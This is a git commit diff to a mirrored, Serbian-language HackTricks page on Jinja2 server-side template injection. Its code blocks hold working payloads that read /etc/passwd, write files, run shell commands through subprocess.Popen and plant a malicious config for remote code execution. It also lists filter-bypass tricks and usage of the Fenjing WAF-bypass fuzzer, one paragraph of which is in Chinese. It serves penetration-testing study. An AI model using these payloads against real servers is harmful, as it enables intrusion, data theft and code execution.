mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
Translated ['pentesting-web/ssti-server-side-template-injection/jinja2-s
This commit is contained in:
parent
b2ae8738c8
commit
7407e2a9f6
1 changed files with 43 additions and 18 deletions
|
@ -6,7 +6,7 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -30,11 +30,9 @@ return "Hello, send someting inside the param 'c'!"
|
|||
if __name__ == "__main__":
|
||||
app.run()
|
||||
```
|
||||
## **Razno**
|
||||
### **Debug izjava**
|
||||
|
||||
### **Izjava za otklanjanje grešaka**
|
||||
|
||||
Ako je omogućeno proširenje za otklanjanje grešaka, dostupna će biti oznaka `debug` za ispis trenutnog konteksta, kao i dostupnih filtera i testova. Ovo je korisno kako biste videli šta je dostupno za korišćenje u predlošku bez postavljanja debagera.
|
||||
Ako je Debug ekstenzija omogućena, `debug` tag će biti dostupan za ispis trenutnog konteksta, kao i dostupne filtere i testove. Ovo je korisno kako biste videli šta je dostupno za korišćenje u predlošku bez postavljanja debagera.
|
||||
```python
|
||||
<pre>
|
||||
|
||||
|
@ -81,9 +79,9 @@ request
|
|||
```
|
||||
### Obnavljanje \<class 'object'>
|
||||
|
||||
Zatim, iz ovih objekata moramo doći do klase: **`<class 'object'>`** kako bismo pokušali **obnoviti** definisane **klase**. Ovo je zato što iz ovog objekta možemo pozvati metodu **`__subclasses__`** i **pristupiti svim klasama iz nesandboxovanog** Python okruženja.
|
||||
Zatim, iz ovih objekata moramo doći do klase: **`<class 'object'>`** kako bismo pokušali **obnoviti** definisane **klase**. Ovo je zato što iz ovog objekta možemo pozvati metodu **`__subclasses__`** i **pristupiti svim klasama iz python okruženja koje nije peskovnikovano**.
|
||||
|
||||
Da biste pristupili toj **klasi objekta**, morate pristupiti **objektu klase** a zatim pristupiti ili **`__base__`**, **`__mro__()[-1]`** ili `.`**`mro()[-1]`**. A zatim, **nakon** dostizanja ove **klase objekta** pozivamo **`__subclasses__()`**.
|
||||
Da biste pristupili toj **klasi objekta**, morate **pristupiti objektu klase** a zatim pristupiti ili **`__base__`**, **`__mro__()[-1]`** ili `.`**`mro()[-1]`**. A zatim, **nakon** dostizanja ove **klase objekta** pozivamo **`__subclasses__()`**.
|
||||
|
||||
Proverite ove primere:
|
||||
```python
|
||||
|
@ -127,9 +125,9 @@ dict.__mro__[-1]
|
|||
```
|
||||
### RCE Escaping
|
||||
|
||||
**Nakon što smo povratili** `<class 'object'>` i pozvali `__subclasses__`, sada možemo koristiti te klase da čitamo i pišemo datoteke i izvršavamo kod.
|
||||
**Nakon što smo povratili** `<class 'object'>` i pozvali `__subclasses__` sada možemo koristiti te klase da čitamo i pišemo datoteke i izvršavamo kod.
|
||||
|
||||
Poziv `__subclasses__` nam je pružio priliku da **pristupimo stotinama novih funkcija**, bićemo zadovoljni samo pristupom **klasi datoteke** da **čitamo/pišemo datoteke** ili bilo kojoj klasi sa pristupom klasi koja **omogućava izvršavanje komandi** (kao što je `os`).
|
||||
Poziv `__subclasses__` nam je pružio priliku da **pristupimo stotinama novih funkcija**, bićemo zadovoljni samo pristupom **file klasi** da **čitamo/pišemo datoteke** ili bilo kojoj klasi sa pristupom klasi koja **omogućava izvršavanje komandi** (kao što je `os`).
|
||||
|
||||
**Čitanje/Pisanje udaljene datoteke**
|
||||
```python
|
||||
|
@ -137,7 +135,7 @@ Poziv `__subclasses__` nam je pružio priliku da **pristupimo stotinama novih fu
|
|||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
|
||||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
|
||||
```
|
||||
**Udaljeno izvršenje koda (RCE)**
|
||||
**Udaljeno izvršavanje koda (RCE)**
|
||||
```python
|
||||
# The class 396 is the class <class 'subprocess.Popen'>
|
||||
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
|
||||
|
@ -199,9 +197,9 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
|
||||
|
||||
```
|
||||
* [**Vratite se ovde za više opcija pristupa globalnom objektu**](jinja2-ssti.md#pristup-globalnim-objektima)
|
||||
* [**Vratite se ovde za više opcija pristupa klasi objekta**](jinja2-ssti.md#oporavak-objekta-klase)
|
||||
* [**Pročitajte ovo da biste dobili RCE bez klase objekta**](jinja2-ssti.md#jinja-injekcija-bez-klase-objekta)
|
||||
* [**Vratite se ovde za više opcija za pristup globalnom objektu**](jinja2-ssti.md#pristup-globalnim-objektima)
|
||||
* [**Vratite se ovde za više opcija za pristup klasi objekta**](jinja2-ssti.md#oporavak-manje-od-klase-objekta-veće)
|
||||
* [**Pročitajte ovo da biste dobili RCE bez klase objekta**](jinja2-ssti.md#jinja-injekcija-bez-manje-od-klase-objekta-veće)
|
||||
|
||||
**Izbegavanje HTML enkodiranja**
|
||||
|
||||
|
@ -211,13 +209,13 @@ Podrazumevano, Flask enkodira sav HTML unutar šablona iz sigurnosnih razloga:
|
|||
#will be
|
||||
<script>alert(1);</script>
|
||||
```
|
||||
**`safe`** filter omogućava nam da ubacimo JavaScript i HTML u stranicu **bez** enkodiranja **HTML-a**, kao što je prikazano ovde:
|
||||
**Filter `safe`** nam omogućava da ubacimo JavaScript i HTML u stranicu **bez** enkodiranja **HTML-a**, kao što je prikazano ovde:
|
||||
```python
|
||||
{{'<script>alert(1);</script>'|safe}}
|
||||
#will be
|
||||
<script>alert(1);</script>
|
||||
```
|
||||
**RCE pisanjem zlonamernog konfiguracionog fajla.**
|
||||
**RCE putem pisanja zlonamernog konfiguracionog fajla.**
|
||||
```python
|
||||
# evil config
|
||||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
|
||||
|
@ -238,10 +236,10 @@ Bez **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
|||
|
||||
|
||||
```
|
||||
## Jinja ubacivanje bez **\<class 'object'>**
|
||||
## Jinja Injection bez **\<class 'object'>**
|
||||
|
||||
Iz [**globalnih objekata**](jinja2-ssti.md#pristup-globalnim-objektima) postoji još jedan način da se dođe do **RCE-a bez korišćenja te klase.**\
|
||||
Ako uspete da pristupite bilo kojoj **funkciji** iz tih globalnih objekata, bićete u mogućnosti da pristupite **`__globals__.__builtins__`** i odande je **RCE** veoma **jednostavan**.
|
||||
Ako uspete da pristupite bilo kojoj **funkciji** iz tih globalnih objekata, moći ćete da pristupite **`__globals__.__builtins__`** i odatle je **RCE** vrlo **jednostavan**.
|
||||
|
||||
Možete **pronaći funkcije** iz objekata **`request`**, **`config`** i bilo kog **drugog** interesantnog **globalnog objekta** do kojeg imate pristup sa:
|
||||
```bash
|
||||
|
@ -284,10 +282,37 @@ Kada pronađete neke funkcije, možete povratiti ugrađene funkcije pomoću:
|
|||
|
||||
# All the bypasses seen in the previous sections are also valid
|
||||
```
|
||||
### Fuzzing WAF bypass
|
||||
|
||||
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一个专门用于CTF的工具,但也可以用于在真实场景中暴力破解无效参数。该工具只是喷洒单词和查询以检测过滤器,搜索绕过,并提供交互式控制台。
|
||||
```
|
||||
webui:
|
||||
As the name suggests, web UI
|
||||
Default port 11451
|
||||
|
||||
scan: scan the entire website
|
||||
Extract all forms from the website based on the form element and attack them
|
||||
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
|
||||
Example:python -m fenjing scan --url 'http://xxx/'
|
||||
|
||||
crack: Attack a specific form
|
||||
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
|
||||
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
|
||||
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
|
||||
|
||||
crack-path: attack a specific path
|
||||
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
|
||||
The parameters are roughly the same as crack, but you only need to provide the corresponding path
|
||||
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
|
||||
|
||||
crack-request: Read a request file for attack
|
||||
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
|
||||
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
|
||||
```
|
||||
## Reference
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
* Proverite [attr trik da zaobiđete crne liste karaktera ovde](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
||||
* Proverite [attr trik kako biste zaobišli zabranjene znakove ovde](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
||||
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
||||
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
||||
|
||||
|
|
Loading…
Reference in a new issue